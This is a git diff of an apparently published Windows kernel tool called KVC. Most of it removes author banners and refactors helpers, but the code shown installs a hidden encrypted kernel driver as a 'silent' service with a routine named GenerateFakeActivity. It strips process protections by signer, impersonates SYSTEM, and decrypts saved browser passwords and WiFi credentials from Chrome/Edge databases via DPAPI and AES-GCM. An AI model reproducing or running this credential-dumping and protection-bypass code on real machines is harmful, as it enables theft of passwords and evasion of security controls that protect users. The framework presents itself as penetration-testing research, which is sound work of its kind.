Aktualizacja: 2025-10-04 22:05:43
This commit is contained in:
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// Add these functions to CommunicationLayer.cpp or create separate BannerSystem.cpp
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// BrowserCrypto.cpp - Browser-specific cryptographic operations
|
||||
// Implements selective COM/DPAPI strategy based on browser and data type
|
||||
#include "BrowserCrypto.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// BrowserHelp.cpp - Comprehensive help system for PassExtractor
|
||||
#include <windows.h>
|
||||
#include "BrowserHelp.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// BrowserProcessManager.cpp - Browser process management and cleanup operations
|
||||
#include "BrowserProcessManager.h"
|
||||
#include "syscalls.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// CommunicationLayer.cpp - Console and pipe communication implementation
|
||||
#include "CommunicationLayer.h"
|
||||
#include "syscalls.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// CommunicationModule.cpp - Pipe communication and utility functions
|
||||
#include "CommunicationModule.h"
|
||||
#include <ShlObj.h>
|
||||
|
||||
@@ -105,9 +105,12 @@ public:
|
||||
bool UnprotectProcessByName(const std::wstring& processName) noexcept;
|
||||
bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
|
||||
|
||||
// Signer-based batch operations for mass unprotection scenarios
|
||||
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
|
||||
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
|
||||
// Signer-based batch operations for mass unprotection scenarios
|
||||
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
|
||||
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
|
||||
bool SetProtectionBySigner(const std::wstring& currentSigner,
|
||||
const std::wstring& level,
|
||||
const std::wstring& newSigner) noexcept;
|
||||
|
||||
// Session state restoration
|
||||
bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
|
||||
@@ -196,7 +199,6 @@ private:
|
||||
SQLiteAPI m_sqlite;
|
||||
|
||||
// Privilege and system management
|
||||
bool EnablePrivilege(LPCWSTR privilegeName) noexcept;
|
||||
bool EnableDebugPrivilege() noexcept;
|
||||
|
||||
// Enhanced file writing with TrustedInstaller privileges
|
||||
@@ -224,6 +226,7 @@ private:
|
||||
|
||||
// Session management
|
||||
bool BeginDriverSession();
|
||||
bool IsServiceZombie() noexcept;
|
||||
void EndDriverSession(bool force = false);
|
||||
void UpdateDriverUsageTimestamp();
|
||||
|
||||
@@ -270,7 +273,6 @@ private:
|
||||
|
||||
// Registry master key processing for enhanced display
|
||||
bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||
std::string BytesToHexString(const std::vector<BYTE>& bytes) noexcept;
|
||||
|
||||
// Browser password processing with AES-GCM decryption
|
||||
bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
|
||||
@@ -286,7 +288,6 @@ private:
|
||||
void UnloadSQLiteLibrary() noexcept;
|
||||
|
||||
// Cryptographic operations for DPAPI and Chrome AES-GCM
|
||||
std::vector<BYTE> Base64Decode(const std::string& encoded) noexcept;
|
||||
std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
|
||||
std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;
|
||||
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerBinaryManager.cpp - Fixed compilation issues
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerCore.cpp
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerDriverManager.cpp
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
@@ -145,6 +120,24 @@ std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedDa
|
||||
// Silent driver installation with TrustedInstaller privileges
|
||||
bool Controller::InstallDriverSilently() noexcept {
|
||||
ForceRemoveService();
|
||||
// Check for zombie service state
|
||||
if (IsServiceZombie()) {
|
||||
CRITICAL(L""); // była ERROR
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L"");
|
||||
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
|
||||
CRITICAL(L"removed until the system is restarted. This typically occurs");
|
||||
CRITICAL(L"when driver loading is interrupted during initialization.");
|
||||
CRITICAL(L"");
|
||||
INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje
|
||||
INFO(L"After restart, the driver will load normally"); // INFO zostaje
|
||||
CRITICAL(L"");
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L"");
|
||||
return false;
|
||||
}
|
||||
auto encryptedData = ExtractEncryptedDriver();
|
||||
if (encryptedData.empty()) return false;
|
||||
|
||||
@@ -186,6 +179,12 @@ bool Controller::InstallDriverSilently() noexcept {
|
||||
|
||||
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
|
||||
if (IsServiceZombie()) {
|
||||
DEBUG(L"Zombie service detected - restart required");
|
||||
return false;
|
||||
}
|
||||
|
||||
GenerateFakeActivity();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
@@ -194,7 +193,7 @@ bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noe
|
||||
SC_HANDLE hService = g_pCreateServiceW(
|
||||
hSCM,
|
||||
GetServiceName().c_str(),
|
||||
L"Kernel Driver Service",
|
||||
L"KVC",
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
|
||||
SERVICE_DEMAND_START, // start = demand (can be changed to auto)
|
||||
@@ -237,9 +236,51 @@ bool Controller::StartDriverServiceSilent() noexcept {
|
||||
return success;
|
||||
}
|
||||
|
||||
// Detects zombie service state (marked for deletion but not yet removed).
|
||||
// Returns true if service exists with DELETE_PENDING flag, indicating system restart is required.
|
||||
bool Controller::IsServiceZombie() noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) return false;
|
||||
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
|
||||
if (!hService) {
|
||||
DWORD err = GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return false;
|
||||
}
|
||||
|
||||
BOOL delResult = g_pDeleteService(hService);
|
||||
DWORD err = GetLastError();
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return (!delResult && err == ERROR_SERVICE_MARKED_FOR_DELETE);
|
||||
}
|
||||
|
||||
// Legacy driver installation with enhanced error handling
|
||||
bool Controller::InstallDriver() noexcept {
|
||||
ForceRemoveService();
|
||||
// Check for zombie service state
|
||||
if (IsServiceZombie()) {
|
||||
CRITICAL(L""); // była ERROR
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L"");
|
||||
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
|
||||
CRITICAL(L"removed until the system is restarted. This typically occurs");
|
||||
CRITICAL(L"when driver loading is interrupted during initialization.");
|
||||
CRITICAL(L"");
|
||||
INFO(L"Required action: Restart your computer to clear the zombie state"); // INFO zostaje
|
||||
INFO(L"After restart, the driver will load normally"); // INFO zostaje
|
||||
CRITICAL(L"");
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L"");
|
||||
return false;
|
||||
}
|
||||
auto encryptedData = ExtractEncryptedDriver();
|
||||
if (encryptedData.empty()) {
|
||||
ERROR(L"Failed to extract encrypted driver from icon resource");
|
||||
@@ -297,7 +338,7 @@ bool Controller::InstallDriver() noexcept {
|
||||
}
|
||||
|
||||
SC_HANDLE hService = g_pCreateServiceW(
|
||||
hSCM, GetServiceName().c_str(), L"Memory Access Driver",
|
||||
hSCM, GetServiceName().c_str(), L"KVC",
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER, // KEY CHANGE
|
||||
SERVICE_DEMAND_START, // start= demand
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerMemoryOperations.cpp
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
|
||||
@@ -1,28 +1,3 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include "Controller.h"
|
||||
#include "ReportExporter.h"
|
||||
#include "common.h"
|
||||
@@ -48,27 +23,6 @@ extern volatile bool g_interrupted;
|
||||
// SQLite constants for winsqlite3.dll compatibility
|
||||
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
|
||||
|
||||
// UTF-8 string conversion utilities for DPAPI operations
|
||||
std::wstring StringToWString(const std::string& str) noexcept
|
||||
{
|
||||
if (str.empty()) return L"";
|
||||
|
||||
int size_needed = MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), nullptr, 0);
|
||||
std::wstring result(size_needed, 0);
|
||||
MultiByteToWideChar(CP_UTF8, 0, str.data(), static_cast<int>(str.size()), result.data(), size_needed);
|
||||
return result;
|
||||
}
|
||||
|
||||
std::string WStringToString(const std::wstring& wstr) noexcept
|
||||
{
|
||||
if (wstr.empty()) return "";
|
||||
|
||||
int size_needed = WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), nullptr, 0, nullptr, nullptr);
|
||||
std::string result(size_needed, 0);
|
||||
WideCharToMultiByte(CP_UTF8, 0, wstr.data(), static_cast<int>(wstr.size()), result.data(), size_needed, nullptr, nullptr);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Main DPAPI password extraction interface
|
||||
bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept
|
||||
{
|
||||
@@ -180,18 +134,18 @@ bool Controller::PerformPasswordExtractionInit() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!EnablePrivilege(L"SeDebugPrivilege")) {
|
||||
if (!PrivilegeUtils::EnablePrivilege(L"SeDebugPrivilege")) {
|
||||
ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!EnablePrivilege(L"SeImpersonatePrivilege")) {
|
||||
if (!PrivilegeUtils::EnablePrivilege(L"SeImpersonatePrivilege")) {
|
||||
ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege");
|
||||
return false;
|
||||
}
|
||||
|
||||
EnablePrivilege(L"SeBackupPrivilege");
|
||||
EnablePrivilege(L"SeRestorePrivilege");
|
||||
PrivilegeUtils::EnablePrivilege(L"SeBackupPrivilege");
|
||||
PrivilegeUtils::EnablePrivilege(L"SeRestorePrivilege");
|
||||
|
||||
if (!m_trustedInstaller.PublicImpersonateSystem()) {
|
||||
ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError());
|
||||
@@ -477,21 +431,6 @@ bool Controller::ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& maste
|
||||
return !masterKeys.empty();
|
||||
}
|
||||
|
||||
// Convert byte vector to hex string for display
|
||||
std::string Controller::BytesToHexString(const std::vector<BYTE>& bytes) noexcept
|
||||
{
|
||||
if (bytes.empty()) return "";
|
||||
|
||||
std::ostringstream hexStream;
|
||||
hexStream << std::hex << std::setfill('0');
|
||||
|
||||
for (const auto& byte : bytes) {
|
||||
hexStream << std::setw(2) << static_cast<int>(byte);
|
||||
}
|
||||
|
||||
return hexStream.str();
|
||||
}
|
||||
|
||||
// Process browser passwords with master key decryption
|
||||
bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys,
|
||||
std::vector<PasswordResult>& results,
|
||||
@@ -506,7 +445,7 @@ bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& m
|
||||
std::string localAppDataA(appData);
|
||||
free(appData);
|
||||
|
||||
std::wstring localAppData = StringToWString(localAppDataA);
|
||||
std::wstring localAppData = StringUtils::UTF8ToWide(localAppDataA);
|
||||
auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData();
|
||||
|
||||
bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath);
|
||||
@@ -589,7 +528,7 @@ bool Controller::ExtractBrowserMasterKey(const std::wstring& browserPath,
|
||||
|
||||
std::string encryptedKeyBase64 = content.substr(startQuote + 1, endQuote - startQuote - 1);
|
||||
|
||||
std::vector<BYTE> encryptedKeyBytes = Base64Decode(encryptedKeyBase64);
|
||||
std::vector<BYTE> encryptedKeyBytes = CryptoUtils::Base64Decode(encryptedKeyBase64);
|
||||
if (encryptedKeyBytes.empty()) {
|
||||
ERROR(L"Failed to decode base64 master key");
|
||||
return false;
|
||||
@@ -631,7 +570,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
||||
}
|
||||
|
||||
void* db;
|
||||
std::string tempDbPathA = WStringToString(tempDbPath);
|
||||
std::string tempDbPathA = StringUtils::WideToUTF8(tempDbPath);
|
||||
|
||||
if (m_sqlite.open_v2(tempDbPathA.c_str(), &db, SQLITE_OPEN_READONLY, nullptr) != 0) {
|
||||
ERROR(L"Failed to open SQLite database: %s", tempDbPath.c_str());
|
||||
@@ -660,11 +599,11 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
||||
result.profile = profileName;
|
||||
|
||||
if (auto urlText = m_sqlite.column_text(stmt, 0)) {
|
||||
result.url = StringToWString(reinterpret_cast<const char*>(urlText));
|
||||
result.url = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(urlText));
|
||||
}
|
||||
|
||||
if (auto usernameText = m_sqlite.column_text(stmt, 1)) {
|
||||
result.username = StringToWString(reinterpret_cast<const char*>(usernameText));
|
||||
result.username = StringUtils::UTF8ToWide(reinterpret_cast<const char*>(usernameText));
|
||||
}
|
||||
|
||||
const BYTE* pwdBytes = static_cast<const BYTE*>(m_sqlite.column_blob(stmt, 2));
|
||||
@@ -673,7 +612,7 @@ int Controller::ProcessLoginDatabase(const std::wstring& loginDataPath,
|
||||
if (pwdBytes && pwdSize > 0) {
|
||||
std::vector<BYTE> encryptedPwd(pwdBytes, pwdBytes + pwdSize);
|
||||
std::string decryptedPwd = DecryptChromeAESGCM(encryptedPwd, masterKey);
|
||||
result.password = StringToWString(decryptedPwd);
|
||||
result.password = StringUtils::UTF8ToWide(decryptedPwd);
|
||||
result.status = DPAPIConstants::GetStatusDecrypted();
|
||||
|
||||
results.push_back(result);
|
||||
@@ -755,8 +694,8 @@ bool Controller::ExtractWiFiCredentials(std::vector<PasswordResult>& results) no
|
||||
if (!password.empty()) {
|
||||
PasswordResult wifiResult;
|
||||
wifiResult.type = L"WiFi";
|
||||
wifiResult.profile = StringToWString(profile);
|
||||
wifiResult.password = StringToWString(password);
|
||||
wifiResult.profile = StringUtils::UTF8ToWide(profile);
|
||||
wifiResult.password = StringUtils::UTF8ToWide(password);
|
||||
wifiResult.status = DPAPIConstants::GetStatusDecrypted();
|
||||
results.push_back(wifiResult);
|
||||
}
|
||||
@@ -823,24 +762,6 @@ void Controller::UnloadSQLiteLibrary() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Base64 decode using Windows CryptAPI
|
||||
std::vector<BYTE> Controller::Base64Decode(const std::string& encoded) noexcept
|
||||
{
|
||||
DWORD decodedSize = 0;
|
||||
|
||||
if (!CryptStringToBinaryA(encoded.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &decodedSize, nullptr, nullptr)) {
|
||||
return {};
|
||||
}
|
||||
|
||||
